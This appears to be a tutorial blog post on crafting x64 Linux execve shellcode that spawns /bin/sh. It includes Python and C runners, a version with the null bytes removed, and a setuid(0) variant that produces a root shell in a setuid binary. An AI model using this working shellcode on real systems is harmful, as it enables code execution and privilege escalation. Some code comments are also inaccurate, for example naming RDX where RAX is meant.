execve is a Linux system call that replaces the current process image with a new process image, meaning the currently running process is completely replaced by the new program.
In this article we will be looking at executing execve using shellcode on x64 Ubuntu Linux.
Execve Arguments
Execve takes the following arguments.
int execve(
const char *pathname, // A pointer to the path of the executable to be run
char *const argv[], // An array of pointers representing the arguments to be passed to the program
char *const envp[]); // An array of pointers representing environment variables to be passed to the program
)
As such, our shellcode will need to populate the following x64 registers:
- rax: Syscall number (59 for execve())
- rdi: filename (path to the executable, such as /bin/sh)
- rsi: argv (pointer to the argument vector)
r
dx
: envp (pointer to the environment vector)
For ease of debugging, we can create a Python script that uses keystone engine. This will allow us to modify the assembly code, and execute it in a debugging environment (GDB) instantly. The alternative would be to compile the assembly code each time, which is more arduous if we’re making lots of changes.
import keystone
import mmap
import ctypes
import os
import sys
import time
import threading
import subprocess
asm_code = """
int3 // Software breakpoint. Remove this before using the shellcode.
mov rdi,0x0068732f6e69622f // bin/sh string to RDI
push rdi // Push the /bin/sh string to the stack
push rsp // Push stack pointer to the stack. This now points to the /bin/sh string
pop rdi // Pop the pointer to the /bin/sh string back into RDI
xor rsi,rsi // Zero RSI (argument vector)
xor rdx,rdx // Zero RDX (environment vector)
mov rax, 59 // Syscall number into RDX
syscall // make our execve system call
"""
ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64)
encoding, count = ks.asm(asm_code)
machine_code = bytearray(encoding)
num_bytes = len(machine_code)
formatted_hex = ''.join(f'\\x{byte:02x}' for byte in machine_code)
# Print shellcode and size, without the software breakpoint
print("Shellcode: " + formatted_hex[4:])
print("Shellcode length: " + str(num_bytes-1))
input("Press any key to continue...")
page_size = mmap.PAGESIZE
mem = mmap.mmap(-1, page_size, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
mem.write(machine_code)
pid = os.getpid()
print(f"Process ID: {pid}")
mem_address = hex(ctypes.addressof(ctypes.c_char.from_buffer(mem)))
gdb_command = f"gdb -q -p {pid} -ex 'break *{mem_address}' -ex 'continue'"
prototype = ctypes.CFUNCTYPE(None)
mem_ptr = prototype(ctypes.addressof(ctypes.c_char.from_buffer(mem)))
def execute_machine_code():
print("Executing machine code asynchronously...")
time.sleep(3)
mem_ptr()
execution_thread = threading.Thread(target=execute_machine_code)
execution_thread.start()
print("Running GDB")
os.system(gdb_command)
execution_thread.join()
mem.close()
If GDB has problems attaching to the target process, you may need to relax the ptrace security restrictions on your system using the following command (this needs to be done on reboot).
sudo sysctl -w kernel.yama.ptrace_scope=0
Running the code should first list our shellcode:
./bin/python3 shellcode_runner.py
Shellcode: \xcc\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x54\x5f\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05
Press any key to continue...
After hitting enter, we end up in our debugging environment paused at the first instruction:
●→ 0x7ffff7bd3000 int3
0x7ffff7bd3001 movabs rdi, 0x68732f6e69622f
0x7ffff7bd300b push rdi
0x7ffff7bd300c push rsp
0x7ffff7bd300d pop rdi
0x7ffff7bd300e xor rsi, rsi
C Runner
We can test the code works outside of our debugging environment by using the following C code.
int main(int argc, char **argv)
{
char code[] = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";
int (*func)();
func = (int (*)()) code;
(int)(*func)();
return 0;
}
Compile the code with:
gcc runner.c -o runner -fno-stack-protector -z execstack -no-pie
Running the executable should spawn a shell.
./runner
$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),5(tty),20(dialout),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
Removing Null Bytes
Examining our shellcode, we can see we have several null bytes. Let’s update the code to remove these.
We need to make the following changes.
- We zero the RSI register and push it to the stack to provide us with a null byte. This is used instead of including it in the /bin/sh string.
- The /bin/sh string is changed to /bin//sh to provide us with some padding, since we no longer have the null byte present.
- mov rax, 59 is changed to push 59;pop rax.
xor rsi,rsi // Zero RSI (argument vector). Also acts as NULL byte.
push rsi // Push NULL byte to stack
mov rdi,0x68732f2f6e69622f // bin//sh string to RDI
push rdi // Push the /bin//sh string to the stack
push rsp // Push stack pointer to the stack. This now points to the /bin/sh string
pop rdi // Pop the pointer to the /bin/sh string back into RDI
xor rdx,rdx // Zero RDX (environment vector)
push 59 // Syscall number into RDX
pop rax // Syscall number into RDX
syscall // make our execve system call
Calling SetUID
We can make our shellcode runner application a SetUID binary using the following commands:
chown root runner
chgrp root runner
chmod +s runner
Then execute the binary, we can see we only have user privileges 🙁 To ensure our shellcode executes as root in setuid binaries, we can slightly modify our shellcode to include a setuid syscall first.
push 105 // setuid system call number to RAX
pop rax // setuid system call number to RAX
xor rdi, rdi // Zero RDI
syscall // Make our setuid system call
xor rsi,rsi // Zero RSI (argument vector). Also acts as NULL byte.
push rsi // Push NULL byte to stack
mov rdi,0x68732f2f6e69622f // bin//sh string to RDI
push rdi // Push the /bin//sh string to the stack
push rsp // Push stack pointer to the stack. This now points to the /bin/sh string
pop rdi // Pop the pointer to the /bin/sh string back into RDI
xor rdx,rdx // Zero RDX (environment vector)
push 59 // Syscall number into RDX
pop rax // Syscall number into RDX
syscall // make our execve system call
Executing the updated runner will yield a root shell.
./runner
# id
uid=0(root) gid=0(root) groups=0(root)
In Conclusion
Execve offers an alternative to spawning a separate subprocess using system(). Bear in mind that execve has no way of returning to the parent process since it’s memory has been replaced by the target process.